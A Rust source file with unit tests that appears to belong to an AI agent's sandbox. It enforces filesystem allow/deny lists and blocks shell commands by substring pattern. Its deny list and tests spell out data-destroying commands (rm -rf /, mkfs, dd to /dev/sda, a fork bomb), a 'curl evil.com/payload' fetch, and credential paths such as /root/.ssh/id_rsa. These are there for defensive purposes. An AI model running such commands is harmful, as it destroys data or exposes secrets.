recursive/tools/
policy_sandbox.rs1use serde::Deserialize;
15
16use crate::error::{Error, Result};
17use crate::permissions::{DecisionReason, RuleSource};
18
19#[derive(Debug, Clone, Deserialize, Default)]
25pub struct FsPolicy {
26 #[serde(default)]
29 pub read_allow: Vec<String>,
30 #[serde(default)]
33 pub write_allow: Vec<String>,
34 #[serde(default)]
36 pub deny: Vec<String>,
37}
38
39#[derive(Debug, Clone, Deserialize, Default)]
41pub struct ShellPolicy {
42 #[serde(default)]
45 pub deny_patterns: Vec<String>,
46}
47
48#[derive(Debug, Clone, Deserialize, Default)]
53pub struct PolicyConfig {
54 #[serde(default)]
55 pub fs: FsPolicy,
56 #[serde(default)]
57 pub shell: ShellPolicy,
58}
59
60impl PolicyConfig {
61 pub fn default_restrictive() -> Self {
72 Self {
73 fs: FsPolicy::default(),
74 shell: ShellPolicy {
75 deny_patterns: vec![
76 "rm -rf /".into(),
78 "rm -rf ~/".into(),
79 "rm -fr /".into(),
80 "rm -fr ~/".into(),
81 "mkfs".into(),
83 "dd if=".into(),
84 "> /dev/".into(),
86 ">/dev/".into(),
87 ":(){ :|:& };:".into(),
89 "chmod 777 /".into(),
91 "chmod -R 777 /".into(),
92 ],
93 },
94 }
95 }
96
97 pub fn check_shell(&self, command: &str) -> Result<()> {
100 for pattern in &self.shell.deny_patterns {
101 if command.contains(pattern.as_str()) {
102 return Err(Error::PermissionDenied {
103 name: format!("shell command blocked by policy: matches pattern `{pattern}`"),
104 reason: DecisionReason::Rule {
105 source: RuleSource::Project,
106 pattern: pattern.clone(),
107 },
108 });
109 }
110 }
111 Ok(())
112 }
113
114 pub fn check_fs_path(&self, path: &str, write: bool) -> Result<()> {
119 for denied in &self.fs.deny {
121 if path.starts_with(denied.as_str()) {
122 return Err(Error::PermissionDenied {
123 name: format!("path `{path}` blocked by fs deny policy"),
124 reason: DecisionReason::SafetyCheck {
125 path: path.to_string(),
126 },
127 });
128 }
129 }
130 let allow_list = if write {
132 &self.fs.write_allow
133 } else {
134 &self.fs.read_allow
135 };
136 if !allow_list.is_empty() {
137 let allowed = allow_list
138 .iter()
139 .any(|prefix| path.starts_with(prefix.as_str()));
140 if !allowed {
141 let kind = if write { "write" } else { "read" };
142 return Err(Error::PermissionDenied {
143 name: format!("path `{path}` not in fs {kind} allow list"),
144 reason: DecisionReason::SafetyCheck {
145 path: format!("{path} ({kind})"),
146 },
147 });
148 }
149 }
150 Ok(())
151 }
152}
153
154#[cfg(test)]
159mod tests {
160 use super::*;
161
162 #[test]
163 fn check_shell_allows_safe_command() {
164 let policy = PolicyConfig::default_restrictive();
165 assert!(policy.check_shell("ls -la").is_ok());
166 assert!(policy.check_shell("echo hello").is_ok());
167 assert!(policy.check_shell("cargo test").is_ok());
168 }
169
170 #[test]
171 fn check_shell_blocks_rm_rf() {
172 let policy = PolicyConfig::default_restrictive();
173 let err = policy.check_shell("rm -rf /").unwrap_err();
174 assert!(matches!(err, Error::PermissionDenied { .. }));
175 }
176
177 #[test]
178 fn check_shell_blocks_pattern_substring() {
179 let policy = PolicyConfig::default_restrictive();
180 let err = policy
182 .check_shell("sudo rm -rf / --no-preserve-root")
183 .unwrap_err();
184 assert!(matches!(err, Error::PermissionDenied { .. }));
185 }
186
187 #[test]
188 fn check_shell_custom_pattern() {
189 let policy = PolicyConfig {
190 shell: ShellPolicy {
191 deny_patterns: vec!["curl evil.com".into()],
192 },
193 ..Default::default()
194 };
195 assert!(policy.check_shell("curl safe.com").is_ok());
196 let err = policy.check_shell("curl evil.com/payload").unwrap_err();
197 assert!(matches!(err, Error::PermissionDenied { .. }));
198 }
199
200 #[test]
201 fn check_fs_deny_blocks_path() {
202 let policy = PolicyConfig {
203 fs: FsPolicy {
204 deny: vec!["/etc".into(), "/root".into()],
205 ..Default::default()
206 },
207 ..Default::default()
208 };
209 let err = policy.check_fs_path("/etc/passwd", false).unwrap_err();
210 assert!(matches!(err, Error::PermissionDenied { .. }));
211 let err = policy.check_fs_path("/root/.ssh/id_rsa", true).unwrap_err();
212 assert!(matches!(err, Error::PermissionDenied { .. }));
213 }
214
215 #[test]
216 fn check_fs_allow_list_blocks_outside() {
217 let policy = PolicyConfig {
218 fs: FsPolicy {
219 write_allow: vec!["/workspace".into()],
220 ..Default::default()
221 },
222 ..Default::default()
223 };
224 assert!(policy.check_fs_path("/workspace/foo.txt", true).is_ok());
225 let err = policy.check_fs_path("/tmp/foo.txt", true).unwrap_err();
226 assert!(matches!(err, Error::PermissionDenied { .. }));
227 }
228
229 #[test]
230 fn check_fs_empty_allow_list_allows_all() {
231 let policy = PolicyConfig::default(); assert!(policy.check_fs_path("/anywhere/file.txt", false).is_ok());
233 assert!(policy.check_fs_path("/anywhere/file.txt", true).is_ok());
234 }
235
236 #[test]
237 fn check_fs_deny_overrides_allow_list() {
238 let policy = PolicyConfig {
240 fs: FsPolicy {
241 read_allow: vec!["/allowed/".into()],
242 write_allow: vec![],
243 deny: vec!["/allowed/secret".into()],
244 },
245 shell: ShellPolicy::default(),
246 };
247 assert!(
249 policy
250 .check_fs_path("/allowed/secret/file.txt", false)
251 .is_err(),
252 "deny list must override allow list"
253 );
254 }
255
256 #[test]
257 fn check_fs_write_uses_write_allow_list() {
258 let policy = PolicyConfig {
260 fs: FsPolicy {
261 read_allow: vec!["/read-zone/".into()],
262 write_allow: vec!["/write-zone/".into()],
263 deny: vec![],
264 },
265 shell: ShellPolicy::default(),
266 };
267 assert!(policy.check_fs_path("/read-zone/file.txt", false).is_ok());
269 assert!(
270 policy.check_fs_path("/read-zone/file.txt", true).is_err(),
271 "write to read-zone must be blocked"
272 );
273 assert!(policy.check_fs_path("/write-zone/file.txt", true).is_ok());
275 }
276
277 #[test]
278 fn default_restrictive_blocks_dangerous_patterns() {
279 let policy = PolicyConfig::default_restrictive();
281 assert!(
282 policy.check_shell("mkfs.ext4 /dev/sda").is_err(),
283 "mkfs must be blocked"
284 );
285 assert!(
286 policy.check_shell("dd if=/dev/zero of=/dev/sda").is_err(),
287 "dd if= must be blocked"
288 );
289 assert!(
290 policy.check_shell("chmod 777 /etc").is_err(),
291 "chmod 777 / must be blocked"
292 );
293 assert!(
294 policy.check_shell("ls /home").is_ok(),
295 "safe command must be allowed"
296 );
297 }
298}